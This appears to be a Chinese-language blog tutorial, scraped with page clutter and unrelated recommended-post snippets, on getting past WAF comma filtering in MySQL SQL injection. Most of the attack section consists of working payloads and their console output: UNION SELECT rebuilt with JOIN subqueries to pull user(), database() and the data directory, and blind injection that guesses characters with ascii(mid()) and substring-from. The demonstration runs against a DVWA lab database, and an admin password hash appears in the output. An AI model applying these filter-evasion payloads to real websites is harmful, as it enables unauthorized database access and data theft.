mysql注入过滤逗号_SQL注入--显注和盲注中过滤逗号绕过

SQL注入逗号绕过

1.联合查询显注绕过逗号

在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,语句中包含了多个逗号,如果有WAF拦截了逗号时,我们的联合查询不能用了。

绕过

在显示位上替换为常见的注入变量或其它语句

union select 1,2,3;

union select * from ((select 1)A join (select 2)B join (select 3)C);

union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);

在数据库中演示联合查询

UNION开始是我们在URL中注入的语句,这里只是演示,在实际中如果我们在注入语句中有逗号就可能被拦截

mysql> select user_id,user,password from users union select 1,2,3;

+---------+-------+----------------------------------+

| user_id | user | password |

+---------+-------+----------------------------------+

| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |

| 1 | 2 | 3 |

+---------+-------+----------------------------------+

2 rows in set (0.04 sec)

不出现逗号,使用Join来注入

mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C);

+---------+-------+----------------------------------+

| user_id | user | password |

+---------+-------+----------------------------------+

| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |

| 1 | 2 | 3 |

+---------+-------+----------------------------------+

2 rows in set (0.05 sec)

查询我们想要的数据

mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);;

+---------+-------+-------------------------------------------------+

| user_id | user | password |

+---------+-------+-------------------------------------------------+

| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |

| 1 | 2 | root@192.168.228.1 dvwa c:\phpStudy\MySQL\data\ |

+---------+-------+-------------------------------------------------+

2 rows in set (0.08 sec)

2.盲注中逗号绕过

MID 和substr 函数用于从文本字段中提取字符

mysql> select mid(user(),1,2);

+-----------------+

| mid(user(),1,2) |

+-----------------+

| ro |

+-----------------+

1 row in set (0.04 sec)

查询数据库用户名第一个字符的ascii码

mysql> select user_id,user,password from users union select ascii(mid(user(),1,2)),2,3;

+---------+-------+----------------------------------+

| user_id | user | password |

+---------+-------+----------------------------------+

| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |

| 114 | 2 | 3 |

+---------+-------+----------------------------------+

2 rows in set (0.05 sec)

盲注,通过猜ascii值

mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=115) ;

Empty set

mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=114) ;

+---------+-------+----------------------------------+

| user_id | user | password |

+---------+-------+----------------------------------+

| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |

+---------+-------+----------------------------------+

1 row in set (0.04 sec)

逗号绕过SUBTTRING 函数

substring(str FROM pos)

从字符串str的起始位置pos 返回一个子串

mysql> select substring('hello' from 1);

+---------------------------+

| substring('hello' from 1) |

+---------------------------+

| hello |

+---------------------------+

1 row in set (0.04 sec)

mysql> select substring('hello' from 2);

+---------------------------+

| substring('hello' from 2) |

+---------------------------+

| ello |

+---------------------------+

1 row in set (0.03 sec)

注入

mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ;

Empty set

//substring(user() from 2)为o

//o的ascii为111,

mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ;

+---------+-------+----------------------------------+

| user_id | user | password |

+---------+-------+----------------------------------+

| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |

+---------+-------+----------------------------------+

1 row in set (0.03 sec)

SQL注入之Boolean型盲注

什么是Boolean型注入 Boolean型的注入意思就是页面返回的结果是Boolean型的,通过构造SQL判断语句,查看页面的返回结果是否报错,页面返回是否正常等来判断哪些SQL判断条件时成立的,通 ...

SQL注入汇总(手注,盲注,报错注入,宽字节,二次编码,http头部){10.22、23 第二十四 二十五天}

首先什么是SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入有什么危害? 危害:数据泄露.脱库 ...

sql注入--bool盲注,时间盲注

盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...

大哥带我们的mysql注入 基于时间的盲注

?id= and ,,sleep()) ?id= and ,,sleep()) if语句/if()函数 在基于时间型SQL盲注中,我们经常使用条件语句来判断我们的操作是否正确: ?id= and = ...

大哥带我们的mysql注入 基于bool的盲注

盲注 那么我们来了解一点盲注的语法 这里面是语法的介绍 https://blog.csdn.net/alex_seo/article/details/82148955 0X01第一步我们先判断当前数据 ...

[靶场实战]:SQL注入-显错注入

SQL注入的本质:就是将用户输入的数据当作代码带入执行. 注入条件: 1.用户能控制输入 2.能够将程序原本执行的代码,拼接上用户输入的数据进行执行 首先检查是否存在注入点 Rank1: 构造语句 ? ...

sql注入 --显错注入

前提知识 数据库:就是将大量数据把保存起来,通过计算机加工而成的可以高效访问数据库的数据集合数据库结构:库:就是一堆表组成的数据集合表:类似 Excel,由行和列组成的二维表字段:表中的列称为字段记录 ...

MySQL手注之盲注(布尔)

布尔注入: 当我们在注入的过程中输入的语句在页面没有数据返回点,这就需要利用布尔型盲注一步步来猜取想要的数据.(盲注分为布尔盲注和时间盲注) 盲注常用函数: length()  返回字符串的长度, 可 ...

如何使用PDO查询Mysql来避免SQL注入风险?ThinkPHP 3.1中的SQL注入漏洞分析!

当我们使用传统的 mysql_connect .mysql_query方法来连接查询数据库时,如果过滤不严,就有SQL注入风险,导致网站被攻击,失去控制.虽然可以用mysql_real_escape_ ...

随机推荐

设为首页 添加到收藏夹 (share)

设为首页,添加到收藏夹 分享自:http://my.oschina.net/lyx2012/blog/60036 设为首页 和 收藏本站js代码 兼容IE,chrome,ff

利用3.0里面封装好的模板类来写,不罗嗦,直接上例子(消除星星小游戏中 星星类) require "extern" StarSprite = class("StarSpr ...

XML和DTD的简单介绍和入门

XML(Extensible Markup Lanaguage),可扩展标记语言,是标准通用标记语言(Standard Generalized Markup Language, SGML)的一个子集, ...

解决Android Activity切换时出现白屏问题

有些性能低的机器,在切换activity时候出现白屏一段时候后才显示正确的视图 高性能的机器可能太快看不到,但是事实是存在的, 特别是当你新开一个进程的时候,A进程的activity跳转到B进程的Ac ...

springMVC框架+POI组件导出Excel

目的:访问url(http://localhost:8080/POIOutputExcel/outputexcel.do)实现excel导出,效果图如下: 文件目录(配置文件就不多说了,跟前面的随笔一 ...

Django+Bootstrap+Mysql 搭建个人博客(二)

2.1.博客首页设计 (1)settings.py MEDIA_ROOT = os.path.join(BASE_DIR,'media').replace("//","/ ...

微信小程序做radio,可以拖动进度条

很简单的一个音乐播放器 data:{ src: 'http://ws.stream.qqmusic.qq.com/M500001VfvsJ21xFqb.mp3?guid=ffffffff82def4a ...

CustomScrollView

body: CustomScrollView( slivers: [ SliverList( delegate: SliverChildBuilderDelegate( (context, int i ...

splice的用法

splice向数组中删除/添加新元素,然后返回新数组 arrObject.splice(index,howmany,item1,...,itemx); 参数 描述 index 必需.整数,规定添加/删 ...

1Mybatis入门--1.1单独使用jdbc编程问题总结

1.1.1 jdbc程序 Public static void main(String[] args) { Connection connection = null; PreparedStatemen ...

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值